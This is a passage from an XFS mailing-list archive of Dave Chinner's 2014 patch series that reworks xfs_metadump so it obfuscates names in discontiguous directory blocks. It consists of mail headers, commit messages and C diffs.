default: + break; + } + ret = write_buf(iocur_top); + +out_pop: + pop_cur(); + return ret; +} static int +process_multi_fsb_objects( + xfs_dfiloff_t o, + xfs_dfsbno_t s, + xfs_dfilblks_t c, + typnm_t btype, + xfs_dfiloff_t last) +{ + if (btype != TYP_DIR2) { + print_warning("bad type for multi-fsb object %d", btype); + return -EINVAL; + } + + return process_single_fsb_objects(o, s, c, btype, last); +} + +/* inode copy routines */ +static int process_bmbt_reclist( xfs_bmbt_rec_t *rp, int numrecs, @@ -1377,6 +1447,7 @@ process_bmbt_reclist( xfs_dfiloff_t last; xfs_agnumber_t agno; xfs_agblock_t agbno; + int error; if (btype == TYP_DATA) return 1; @@ -1438,44 +1509,18 @@ process_bmbt_reclist( break; } - push_cur(); - set_cur(&typtab[btype], XFS_FSB_TO_DADDR(mp, s), c * blkbb, - DB_RING_IGN, NULL); - if (iocur_top->data == NULL) { - print_warning("cannot read %s block %u/%u (%llu)", - typtab[btype].name, agno, agbno, s); - if (stop_on_read_error) { - pop_cur(); - return 0; - } - } else { - if (!dont_obfuscate) - switch (btype) { - case TYP_DIR2: - if (o < mp->m_dirleafblk) - obfuscate_dir_data_blocks( - iocur_top->data, o, c, - last == mp->m_dirblkfsbs); - break; - - case TYP_SYMLINK: - obfuscate_symlink_blocks( - iocur_top->data, c); - break; - - case TYP_ATTR: - obfuscate_attr_blocks(iocur_top->data, - o, c); - break; - - default: ; - } - if (write_buf(iocur_top)) { - pop_cur(); + /* single filesystem block objects are trivial to handle */ + if (btype != TYP_DIR2 || mp->m_dirblkfsbs == 1) { + error = process_single_fsb_objects(o, s, c, btype, last); + if (error) return 0; - } + continue; } - pop_cur(); + + /* multi-extent directory blocks */ + error = process_multi_fsb_objects(o, s, c, btype, last); + if (error) + return 0; } return 1; -- 1.8.4.rc3 From dave@fromorbit.com Thu Jan 23 04:24:09 2014 Return-Path: <dave@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9F3747F5F for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 04:24:09 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 267F8AC005 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 02:24:09 -0800 (PST) X-ASG-Debug-ID: 1390472647-04cb6c7509afa30001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id ixzoXc7Qt6hvfBoB for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 02:24:07 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AloGAKXs4FJ5LKVw/2dsb2JhbABbgwy+Dhd0gwI7gQIDiDiaCqtFjx2EIgSqO4NBKA Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail04.adl6.internode.on.net with ESMTP; 23 Jan 2014 20:54:03 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from <dave@fromorbit.com>) id 1W6HS4-0004fB-8I for xfs@oss.sgi.com; Thu, 23 Jan 2014 21:24:00 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from <dave@disappointment.disaster>) id 1W6HS4-0004VI-73 for xfs@oss.sgi.com; Thu, 23 Jan 2014 21:24:00 +1100 From: Dave Chinner <david@fromorbit.com> To: xfs@oss.sgi.com Subject: [PATCH 0/5] metadump: discontiguous directory block support Date: Thu, 23 Jan 2014 21:23:50 +1100 X-ASG-Orig-Subj: [PATCH 0/5] metadump: discontiguous directory block support Message-Id: <1390472635-17225-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390472647 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144391 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, In making xfs_repair handle discontiguous directory blocks properly, it uncovered the fact that xfs_metadump has never handled discontiguous directory blocks properly. It doesn't handle discontiguous block format directories, and there are a couple of other cases where it is just says "too hard" and gives up, leading to un-obfuscated, corrupt or missing directory blocks in the metadump image. xfs/291 on CRC enabled filesystems was causing all three of these conditions to occur. This patchset fixes metadump to fully support all forms of discontiguous directory blocks. It changes the obfuscation code from reading and extent at a time and trying to slice and dice the objects within it - which will never work for objects that need CRC recalculation as a result of obfuscation - to dealing with individual objects. This does affect IO patterns somewhat - single large contiguous IOs turn into multiple smaller sequential IOs - but it means that we can use the object verifiers to do CRC recalculation correctly. It also means we can walk the extent tree to gather discontiguous extents into a single buffer to build an object fom multiple IOs. This is what all the other directory block IO does, and we need to do it here too. The result is that the code is simpler and more obvious in what it does - the "walk over a large extent" code is generic rather than object specific, and the discontiguous block code is separated from the single block object code. Hence both cases are clearer and easier to understand. And it works, unlike the old code. FWIW, with this fixed and xfs/291 passing, the only remaining outstanding work that is blocking a 3.2.0 release is to trap IO verifier errors in repair so we repair/rebuild objects based on CRC errors. Comments, flames, thoughts all welcome. Cheers, Dave. From dave@fromorbit.com Thu Jan 23 04:24:12 2014 Return-Path: <dave@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4B0367F5D for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 04:24:12 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C8514AC005 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 02:24:11 -0800 (PST) X-ASG-Debug-ID: 1390472648-04cb6c750aafa40001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id VyKSYuPHtE1F7C6O for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 02:24:09 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAKXs4FJ5LKVw/2dsb2JhbABbgwy+Dhd0giUBAQUnLzMIGDE5AxsZiATFOBeTPwSqO4NBKA Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail04.adl6.internode.on.net with ESMTP; 23 Jan 2014 20:54:03 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from <dave@fromorbit.com>) id 1W6HS4-0004fF-Aa for xfs@oss.sgi.com; Thu, 23 Jan 2014 21:24:00 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from <dave@disappointment.disaster>) id 1W6HS4-0004Va-9f for xfs@oss.sgi.com; Thu, 23 Jan 2014 21:24:00 +1100 From: Dave Chinner <david@fromorbit.com> To: xfs@oss.sgi.com Subject: [PATCH 4/5] metadump: walk single fsb objects a block at a time Date: Thu, 23 Jan 2014 21:23:54 +1100 X-ASG-Orig-Subj: [PATCH 4/5] metadump: walk single fsb objects a block at a time Message-Id: <1390472635-17225-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1390472635-17225-1-git-send-email-david@fromorbit.com> References: <1390472635-17225-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390472648 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144391 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner <dchinner@redhat.com> To be able to support arbitrary discontiguous extents in multi-block objects, we need to be able to process a single object at a time presented as a single flat buffer. Right now we pass an arbitrary extent and have the individal object processing functions break it up and keep track of inter-call state. This greatly complicates the processing of directory objects, such that certain formats are simply not handled at all. Instead, for single block objects loop over the extent a block at a time, feeding a whole object to the processing function and hence making the extent walking generic instead of per object. At thsi point multi-block directory objects still need to use the existing code, so duplicate the old single block object code into it so we can fix it up properly. This means directory block processing can't be fully cleaned up yet. Signed-off-by: Dave Chinner <dchinner@redhat.com> --- db/metadump.c | 180 ++++++++++++++++++++++++++++++++++------------------------ 1 file changed, 107 insertions(+), 73 deletions(-) diff --git a/db/metadump.c b/db/metadump.c index 9fc08ed..e973c5e 100644 --- a/db/metadump.c +++ b/db/metadump.c @@ -1257,12 +1257,11 @@ obfuscate_dir_data_blocks( } static void -obfuscate_symlink_blocks( - char *block, - xfs_dfilblks_t count) +obfuscate_symlink_block( + char *block) { - count <<= mp->m_sb.sb_blocklog; - obfuscate_path_components(block, count); + /* XXX: need to handle CRC headers */ + obfuscate_path_components(block, mp->m_sb.sb_blocksize); } #define MAX_REMOTE_VALS 4095 @@ -1283,80 +1282,79 @@ add_remote_vals( blockidx++; length -= XFS_LBSIZE(mp); } + + if (attr_data.remote_val_count >= MAX_REMOTE_VALS) { + print_warning( +"Overflowed attr obfuscation array. No longer obfuscating remote attrs."); + } } static void -obfuscate_attr_blocks( +obfuscate_attr_block( char *block, - xfs_dfiloff_t offset, - xfs_dfilblks_t count) + xfs_dfiloff_t offset) { xfs_attr_leafblock_t *leaf; - int c; int i; int nentries; xfs_attr_leaf_entry_t *entry; xfs_attr_leaf_name_local_t *local; xfs_attr_leaf_name_remote_t *remote; - for (c = 0; c < count; c++, offset++, block += XFS_LBSIZE(mp)) { + leaf = (xfs_attr_leafblock_t *)block; - leaf = (xfs_attr_leafblock_t *)block; - - if (be16_to_cpu(leaf->hdr.info.magic) != XFS_ATTR_LEAF_MAGIC) { - for (i = 0; i < attr_data.remote_val_count; i++) { - if (attr_data.remote_vals[i] == offset) - memset(block, 0, XFS_LBSIZE(mp)); - } - continue; + if (be16_to_cpu(leaf->hdr.info.magic) != XFS_ATTR_LEAF_MAGIC) { + for (i = 0; i < attr_data.remote_val_count; i++) { + /* XXX: need to handle CRC headers */ + if (attr_data.remote_vals[i] == offset) + memset(block, 0, XFS_LBSIZE(mp)); } + return; + } + + nentries = be16_to_cpu(leaf->hdr.count); + if (nentries * sizeof(xfs_attr_leaf_entry_t) + + sizeof(xfs_attr_leaf_hdr_t) > XFS_LBSIZE(mp)) { + if (show_warnings) + print_warning("invalid attr count in inode %llu", + (long long)cur_ino); + return; + } - nentries = be16_to_cpu(leaf->hdr.count); - if (nentries * sizeof(xfs_attr_leaf_entry_t) + - sizeof(xfs_attr_leaf_hdr_t) > XFS_LBSIZE(mp)) { + for (i = 0, entry = &leaf->entries[0]; i < nentries; i++, entry++) { + if (be16_to_cpu(entry->nameidx) > XFS_LBSIZE(mp)) { if (show_warnings) - print_warning("invalid attr count in inode %llu", + print_warning( + "invalid attr nameidx in inode %llu", (long long)cur_ino); - continue; + break; } - - for (i = 0, entry = &leaf->entries[0]; i < nentries; - i++, entry++) { - if (be16_to_cpu(entry->nameidx) > XFS_LBSIZE(mp)) { + if (entry->flags & XFS_ATTR_LOCAL) { + local = xfs_attr3_leaf_name_local(leaf, i); + if (local->namelen == 0) { if (show_warnings) - print_warning("invalid attr nameidx " - "in inode %llu", - (long long)cur_ino); + print_warning( + "zero length for attr name in inode %llu", + (long long)cur_ino); break; } - if (entry->flags & XFS_ATTR_LOCAL) { - local = xfs_attr3_leaf_name_local(leaf, i); - if (local->namelen == 0) { - if (show_warnings) - print_warning("zero length for " - "attr name in inode %llu", - (long long)cur_ino); - break; - } - generate_obfuscated_name(0, local->namelen, - &local->nameval[0]); - memset(&local->nameval[local->namelen], 0, - be16_to_cpu(local->valuelen)); - } else { - remote = xfs_attr3_leaf_name_remote(leaf, i); - if (remote->namelen == 0 || - remote->valueblk == 0) { - if (show_warnings) - print_warning("invalid attr " - "entry in inode %llu", - (long long)cur_ino); - break; - } - generate_obfuscated_name(0, remote->namelen, - &remote->name[0]); - add_remote_vals(be32_to_cpu(remote->valueblk), - be32_to_cpu(remote->valuelen)); + generate_obfuscated_name(0, local->namelen, + &local->nameval[0]); + memset(&local->nameval[local->namelen], 0, + be16_to_cpu(local->valuelen)); + } else { + remote = xfs_attr3_leaf_name_remote(leaf, i); + if (remote->namelen == 0 || remote->valueblk == 0) { + if (show_warnings) + print_warning( + "invalid attr entry in inode %llu", + (long long)cur_ino); + break; } + generate_obfuscated_name(0, remote->namelen, + &remote->name[0]); + add_remote_vals(be32_to_cpu(remote->valueblk), + be32_to_cpu(remote->valuelen)); } } } @@ -1369,7 +1367,9 @@ process_single_fsb_objects( typnm_t btype, xfs_dfiloff_t last) { + char *dp; int ret = 0; + int i; push_cur(); set_cur(&typtab[btype], XFS_FSB_TO_DADDR(mp, s), c * blkbb, @@ -1392,22 +1392,27 @@ process_single_fsb_objects( goto out_pop; } - switch (btype) { - case TYP_DIR2: - if (o >= mp->m_dirleafblk) - break; + dp = iocur_top->data; + for (i = 0; i < c; i++) { + switch (btype) { + case TYP_DIR2: + if (o >= mp->m_dirleafblk) + break; - obfuscate_dir_data_blocks(iocur_top->data, o, c, - last == mp->m_dirblkfsbs); - break; - case TYP_SYMLINK: - obfuscate_symlink_blocks(iocur_top->data, c); - break; - case TYP_ATTR: - obfuscate_attr_blocks(iocur_top->data, o, c); - break; - default: - break; + obfuscate_dir_data_blocks(dp, o, 1, + last == mp->m_dirblkfsbs); + break; + case TYP_SYMLINK: + obfuscate_symlink_block(dp); + break; + case TYP_ATTR: + obfuscate_attr_block(dp, o); + break; + default: + break; + } + o++; + dp += mp->m_sb.sb_blocksize; } ret = write_buf(iocur_top); @@ -1424,12 +1429,41 @@ process_multi_fsb_objects( typnm_t btype, xfs_dfiloff_t last) { + int ret = 0; + if (btype != TYP_DIR2) { print_warning("bad type for multi-fsb object %d", btype); return -EINVAL; } - return process_single_fsb_objects(o, s, c, btype, last); + push_cur(); + set_cur(&typtab[btype], XFS_FSB_TO_DADDR(mp, s), c * blkbb, + DB_RING_IGN, NULL); + + if (!iocur_top->data) { + xfs_agnumber_t agno = XFS_FSB_TO_AGNO(mp, s); + xfs_agblock_t agbno = XFS_FSB_TO_AGBNO(mp, s); + + print_warning("cannot read %s block %u/%u (%llu)", + typtab[btype].name, agno, agbno, s); + if (stop_on_read_error) + ret = -EIO; + goto out_pop; + + } + + if (dont_obfuscate || o >= mp->m_dirleafblk) { + ret = write_buf(iocur_top); + goto out_pop; + } + + obfuscate_dir_data_blocks(iocur_top->data, o, c, + last == mp->m_dirblkfsbs); + ret = write_buf(iocur_top); + +out_pop: + pop_cur(); + return ret; } /* inode copy routines */ -- 1.8.4.rc3 From dave@fromorbit.com Thu Jan 23 04:24:14 2014 Return-Path: <dave@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 314857F5D for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 04:24:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 14A668F8070 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 02:24:11 -0800 (PST) X-ASG-Debug-ID: 1390472647-04cb6c7509afa30002-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 1zNWJRKdOsTCQ8Gr for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 02:24:08 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAKXs4FJ5LKVw/2dsb2JhbABbgwy+Dhd0giUBAQUnLzMIGDE5AxsZiATFOBeTPwSqO4NBKA Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail04.adl6.internode.on.net with ESMTP; 23 Jan 2014 20:54:03 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from <dave@fromorbit.com>) id 1W6HS4-0004fG-BV for xfs@oss.sgi.com; Thu, 23 Jan 2014 21:24:00 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from <dave@disappointment.disaster>) id 1W6HS4-0004Vf-AH for xfs@oss.sgi.com; Thu, 23 Jan 2014 21:24:00 +1100 From: Dave Chinner <david@fromorbit.com> To: xfs@oss.sgi.com Subject: [PATCH 5/5] metadump: fully support discontiguous directory blocks Date: Thu, 23 Jan 2014 21:23:55 +1100 X-ASG-Orig-Subj: [PATCH 5/5] metadump: fully support discontiguous directory blocks Message-Id: <1390472635-17225-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1390472635-17225-1-git-send-email-david@fromorbit.com> References: <1390472635-17225-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390472648 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144391 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner <dchinner@redhat.com> Now that directory block obfuscation can handle single contiguous directory blocks, we can make the multi-block code use discontiguous buffers to read in an entire directory block at a time. This allows us to pass a complete directory object to the processing function and hence be able to process any sort of directory object regardless of it's underlying layout. With the, we can remove the multi-block loop from the directory processing code and get rid of allt eh structures used to hold inter-call state. This graeatly simplifies the code as well as adding the additional functionality. With this patch, a CRC enabled filesystem now passes xfs/291. Signed-off-by: Dave Chinner <dchinner@redhat.com> --- db/metadump.c | 280 ++++++++++++++++++++++++++++------------------------------ 1 file changed, 133 insertions(+), 147 deletions(-) diff --git a/db/metadump.c b/db/metadump.c index e973c5e..6ed392b 100644 --- a/db/metadump.c +++ b/db/metadump.c @@ -1111,24 +1111,11 @@ obfuscate_sf_attr( } } -/* - * dir_data structure is used to track multi-fsblock dir2 blocks between extent - * processing calls. - */ - -static struct dir_data_s { - int end_of_data; - int block_index; - int offset_to_entry; - int bad_block; -} dir_data; - static void -obfuscate_dir_data_blocks( - char *block, - xfs_dfiloff_t offset, - xfs_dfilblks_t count, - int is_block_format) +obfuscate_dir_data_block( + char *block, + xfs_dfiloff_t offset, + int is_block_format) { /* * we have to rely on the fileoffset and signature of the block to @@ -1136,123 +1123,96 @@ obfuscate_dir_data_blocks( * for multi-fsblock dir blocks, if a name crosses an extent boundary, * ignore it and continue. */ - int c; - int dir_offset; - char *ptr; - char *endptr; - - if (is_block_format && count != mp->m_dirblkfsbs) - return; /* too complex to handle this rare case */ - - for (c = 0, endptr = block; c < count; c++) { - - if (dir_data.block_index == 0) { - int wantmagic; - struct xfs_dir2_data_hdr *datahdr; - - datahdr = (struct xfs_dir2_data_hdr *)block; - - if (offset % mp->m_dirblkfsbs != 0) - return; /* corrupted, leave it alone */ - - dir_data.bad_block = 0; - - if (is_block_format) { - xfs_dir2_leaf_entry_t *blp; - xfs_dir2_block_tail_t *btp; - - btp = xfs_dir2_block_tail_p(mp, datahdr); - blp = xfs_dir2_block_leaf_p(btp); - if ((char *)blp > (char *)btp) - blp = (xfs_dir2_leaf_entry_t *)btp; - - dir_data.end_of_data = (char *)blp - block; - wantmagic = XFS_DIR2_BLOCK_MAGIC; - } else { /* leaf/node format */ - dir_data.end_of_data = mp->m_dirblkfsbs << - mp->m_sb.sb_blocklog; - wantmagic = XFS_DIR2_DATA_MAGIC; - } - dir_data.offset_to_entry = - xfs_dir3_data_entry_offset(datahdr); - - if (be32_to_cpu(datahdr->magic) != wantmagic) { - if (show_warnings) - print_warning("invalid magic in dir " - "inode %llu block %ld", - (long long)cur_ino, - (long)offset); - dir_data.bad_block = 1; - } - } - dir_data.block_index++; - if (dir_data.block_index == mp->m_dirblkfsbs) - dir_data.block_index = 0; + int dir_offset; + char *ptr; + char *endptr; + int end_of_data; + int wantmagic; + struct xfs_dir2_data_hdr *datahdr; + + datahdr = (struct xfs_dir2_data_hdr *)block; + + if (offset % mp->m_dirblkfsbs != 0) + return; /* corrupted, leave it alone */ + + if (is_block_format) { + xfs_dir2_leaf_entry_t *blp; + xfs_dir2_block_tail_t *btp; + + btp = xfs_dir2_block_tail_p(mp, datahdr); + blp = xfs_dir2_block_leaf_p(btp); + if ((char *)blp > (char *)btp) + blp = (xfs_dir2_leaf_entry_t *)btp; + + end_of_data = (char *)blp - block; + if (xfs_sb_version_hascrc(&mp->m_sb)) + wantmagic = XFS_DIR3_BLOCK_MAGIC; + else + wantmagic = XFS_DIR2_BLOCK_MAGIC; + } else { /* leaf/node format */ + end_of_data = mp->m_dirblkfsbs << mp->m_sb.sb_blocklog; + if (xfs_sb_version_hascrc(&mp->m_sb)) + wantmagic = XFS_DIR3_DATA_MAGIC; + else + wantmagic = XFS_DIR2_DATA_MAGIC; + } + + if (be32_to_cpu(datahdr->magic) != wantmagic) { + if (show_warnings) + print_warning( + "invalid magic in dir inode %llu block %ld", + (long long)cur_ino, (long)offset); + return; + } - if (dir_data.bad_block) - continue; + dir_offset = xfs_dir3_data_entry_offset(datahdr); + ptr = block + dir_offset; + endptr = block + mp->m_sb.sb_blocksize; - dir_offset = (dir_data.block_index << mp->m_sb.sb_blocklog) + - dir_data.offset_to_entry; - - ptr = endptr + dir_data.offset_to_entry; - endptr += mp->m_sb.sb_blocksize; - - while (ptr < endptr && dir_offset < dir_data.end_of_data) { - xfs_dir2_data_entry_t *dep; - xfs_dir2_data_unused_t *dup; - int length; - - dup = (xfs_dir2_data_unused_t *)ptr; - - if (be16_to_cpu(dup->freetag) == XFS_DIR2_DATA_FREE_TAG) { - int length = be16_to_cpu(dup->length); - if (dir_offset + length > dir_data.end_of_data || - length == 0 || (length & - (XFS_DIR2_DATA_ALIGN - 1))) { - if (show_warnings) - print_warning("invalid length " - "for dir free space in " - "inode %llu", - (long long)cur_ino); - dir_data.bad_block = 1; - break; - } - if (be16_to_cpu(*xfs_dir2_data_unused_tag_p(dup)) != - dir_offset) { - dir_data.bad_block = 1; - break; - } - dir_offset += length; - ptr += length; - if (dir_offset >= dir_data.end_of_data || - ptr >= endptr) - break; - } + while (ptr < endptr && dir_offset < end_of_data) { + xfs_dir2_data_entry_t *dep; + xfs_dir2_data_unused_t *dup; + int length; - dep = (xfs_dir2_data_entry_t *)ptr; - length = xfs_dir3_data_entsize(mp, dep->namelen); + dup = (xfs_dir2_data_unused_t *)ptr; - if (dir_offset + length > dir_data.end_of_data || - ptr + length > endptr) { + if (be16_to_cpu(dup->freetag) == XFS_DIR2_DATA_FREE_TAG) { + int length = be16_to_cpu(dup->length); + if (dir_offset + length > end_of_data || + !length || (length & (XFS_DIR2_DATA_ALIGN - 1))) { if (show_warnings) - print_warning("invalid length for " - "dir entry name in inode %llu", + print_warning( + "invalid length for dir free space in inode %llu", (long long)cur_ino); - break; - } - if (be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep)) != - dir_offset) { - dir_data.bad_block = 1; - break; + return; } - generate_obfuscated_name(be64_to_cpu(dep->inumber), - dep->namelen, &dep->name[0]); + if (be16_to_cpu(*xfs_dir2_data_unused_tag_p(dup)) != + dir_offset) + return; dir_offset += length; ptr += length; + if (dir_offset >= end_of_data || ptr >= endptr) + return; + } + + dep = (xfs_dir2_data_entry_t *)ptr; + length = xfs_dir3_data_entsize(mp, dep->namelen); + + if (dir_offset + length > end_of_data || + ptr + length > endptr) { + if (show_warnings) + print_warning( + "invalid length for dir entry name in inode %llu", + (long long)cur_ino); + return; } - dir_data.offset_to_entry = dir_offset & - (mp->m_sb.sb_blocksize - 1); + if (be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep)) != + dir_offset) + return; + generate_obfuscated_name(be64_to_cpu(dep->inumber), + dep->namelen, &dep->name[0]); + dir_offset += length; + ptr += length; } } @@ -1399,8 +1359,8 @@ process_single_fsb_objects( if (o >= mp->m_dirleafblk) break; - obfuscate_dir_data_blocks(dp, o, 1, - last == mp->m_dirblkfsbs); + obfuscate_dir_data_block(dp, o, + last == mp->m_dirblkfsbs); break; case TYP_SYMLINK: obfuscate_symlink_block(dp); @@ -1421,6 +1381,12 @@ out_pop: return ret; } +/* + * Static map to aggregate multiple extents into a single directory block. + */ +static struct bbmap mfsb_map; +static int mfsb_length; + static int process_multi_fsb_objects( xfs_dfiloff_t o, @@ -1436,33 +1402,54 @@ process_multi_fsb_objects( return -EINVAL; } - push_cur(); - set_cur(&typtab[btype], XFS_FSB_TO_DADDR(mp, s), c * blkbb, - DB_RING_IGN, NULL); + while (c > 0) { + unsigned int bm_len; - if (!iocur_top->data) { - xfs_agnumber_t agno = XFS_FSB_TO_AGNO(mp, s); - xfs_agblock_t agbno = XFS_FSB_TO_AGBNO(mp, s); + if (mfsb_length + c >= mp->m_dirblkfsbs) { + bm_len = mp->m_dirblkfsbs - mfsb_length; + mfsb_length = 0; + } else { + mfsb_length += c; + bm_len = c; + } - print_warning("cannot read %s block %u/%u (%llu)", - typtab[btype].name, agno, agbno, s); - if (stop_on_read_error) - ret = -EIO; - goto out_pop; + mfsb_map.b[mfsb_map.nmaps].bm_bn = XFS_FSB_TO_DADDR(mp, s); + mfsb_map.b[mfsb_map.nmaps].bm_len = XFS_FSB_TO_BB(mp, bm_len); + mfsb_map.nmaps++; - } + if (mfsb_length == 0) { + push_cur(); + set_cur(&typtab[btype], 0, 0, DB_RING_IGN, &mfsb_map); + if (!iocur_top->data) { + xfs_agnumber_t agno = XFS_FSB_TO_AGNO(mp, s); + xfs_agblock_t agbno = XFS_FSB_TO_AGBNO(mp, s); - if (dont_obfuscate || o >= mp->m_dirleafblk) { - ret = write_buf(iocur_top); - goto out_pop; - } + print_warning("cannot read %s block %u/%u (%llu)", + typtab[btype].name, agno, agbno, s); + if (stop_on_read_error) + ret = -1; + goto out_pop; - obfuscate_dir_data_blocks(iocur_top->data, o, c, - last == mp->m_dirblkfsbs); - ret = write_buf(iocur_top); + } + if (dont_obfuscate || o >= mp->m_dirleafblk) { + ret = write_buf(iocur_top); + goto out_pop; + } + + obfuscate_dir_data_block(iocur_top->data, o, + last == mp->m_dirblkfsbs); + ret = write_buf(iocur_top); out_pop: - pop_cur(); + pop_cur(); + mfsb_map.nmaps = 0; + if (ret) + break; + } + c -= bm_len; + s += bm_len; + } + return ret; } @@ -1750,7 +1737,6 @@ process_inode( /* copy appropriate data fork metadata */ switch (be16_to_cpu(dip->di_mode) & S_IFMT) { case S_IFDIR: - memset(&dir_data, 0, sizeof(dir_data)); success = process_inode_data(dip, TYP_DIR2); break; case S_IFLNK: -- 1.8.4.rc3 From daskripkin@vbc.bc.ca Thu Jan 23 04:31:48 2014 Return-Path: <daskripkin@vbc.bc.ca> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_OBFU_PDF_ATTACH autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D6BD67F5D for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 04:31:47 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1C67AAC003 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 02:31:46 -0800 (PST) X-ASG-Debug-ID: 1390473102-04cb6c750aaff20001-NocioJ Received: from cp67.agava.net 